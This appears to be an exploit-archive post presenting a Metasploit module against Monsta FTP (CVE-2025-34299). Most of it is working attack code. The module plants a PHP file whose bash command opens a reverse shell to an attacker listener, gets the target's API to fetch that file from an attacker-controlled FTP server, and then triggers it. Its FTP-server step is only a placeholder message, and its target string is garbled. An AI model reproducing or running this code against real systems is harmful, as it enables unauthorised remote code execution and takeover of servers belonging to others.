📄 Monsta FTP 2.11 Remote File Injection

=============================================================================================================================================
    | # Title     : Monsta FTP 2.11 Remote File Injection                                                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.monstaftp.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212150/ &  		CVE-2025-34299
    
    [+] Summary :  This Metasploit module exploits a vulnerability in Monsta FTP and enables Remote File Injection by creating a malicious FTP server. 
                   The application builds this server to upload a malicious PHP file (Reverse Shell).
                   After the file is uploaded, the module immediately verifies the possibility of reversal.
    
    
    [+] POC : 
    
    ##
    # This module requires Metasploit Framework and Ruby
    ##
    
    require 'msf/core'
    require 'net/http'
    require 'json'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Monsta FTP CVE-2025-34299 Exploit',
          'Description'    => %q{
            Exploits Monsta FTP vulnerability CVE-2025-34299 to upload a PHP reverse shell
            via a malicious FTP server.
          },
          'Author'         => ['Indoushka'],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['CVE', '2025-34299']
            ],
          'Platform'       => 'php',
          'Arch'           => ARCH_PHP,
          'Targets'        => [['Monsta FTP <= 2025-34299', {}]],
          'DefaultTarget'  => 0,
          'DisclosureDate' => '2025-11-21'))
    
        register_options(
          [
            Opt::RHOST(),
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path to Monsta FTP', '/']),
            OptString.new('FTP_HOST', [true, 'Attacker FTP host', '172.17.0.1']),
            OptInt.new('FTP_PORT', [true, 'Attacker FTP port', 2121]),
            OptString.new('LHOST', [true, 'Listener host', '172.17.0.1']),
            OptInt.new('LPORT', [true, 'Listener port', 4444])
          ])
      end
    
      def generate_payload(filename)
        "<?php $f=__FILE__; exec(\"/bin/bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &'\"); unlink($f); ?>"
      end
    
      def exploit
        print_status("Starting malicious FTP server...")
    
        require 'webrick'
        require 'tmpdir'
        require 'securerandom'
    
        ftp_dir = Dir.mktmpdir
        random_file = "#{SecureRandom.hex(6)}.php"
        payload_path = File.join(ftp_dir, random_file)
    
        File.open(payload_path, 'w') { |f| f.write(generate_payload(random_file)) }
        print_status("Payload written to #{payload_path}")
    
        # Generate random credentials
        user = SecureRandom.hex(4)
        pwd = SecureRandom.hex(6)
    
        # Start FTP server
        print_status("FTP server would start here (simulate or run external server)")
    
        # Prepare request to Monsta FTP API
        api_url = normalize_uri(datastore['TARGETURI'], 'application/api/api.php')
    
        data = {
          connectionType: 'ftp',
          configuration: {
            host: datastore['FTP_HOST'],
            username: user,
            password: pwd,
            port: datastore['FTP_PORT'],
            initialDirectory: '/'
          },
          actionName: 'downloadFile',
          context: {
            remotePath: "/#{random_file}",
            localPath: random_file
          }
        }
    
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri'    => api_url,
            'ctype'  => 'application/x-www-form-urlencoded',
            'data'   => "request=#{data.to_json}"
          })
    
          if res && res.code == 200
            begin
              json_res = JSON.parse(res.body)
              if json_res['success']
                print_good("Payload uploaded successfully: #{normalize_uri(datastore['TARGETURI'], 'application/api', random_file)}")
                print_status("Triggering reverse shell...")
                send_request_cgi({'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], 'application/api', random_file)})
                return
              end
            rescue JSON::ParserError
              print_error("Failed to parse JSON response: #{res.body}")
            end
          else
            print_error("HTTP request failed")
          end
        rescue ::Rex::ConnectionError
          print_error("Failed to connect to target")
        end
      end
    end
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================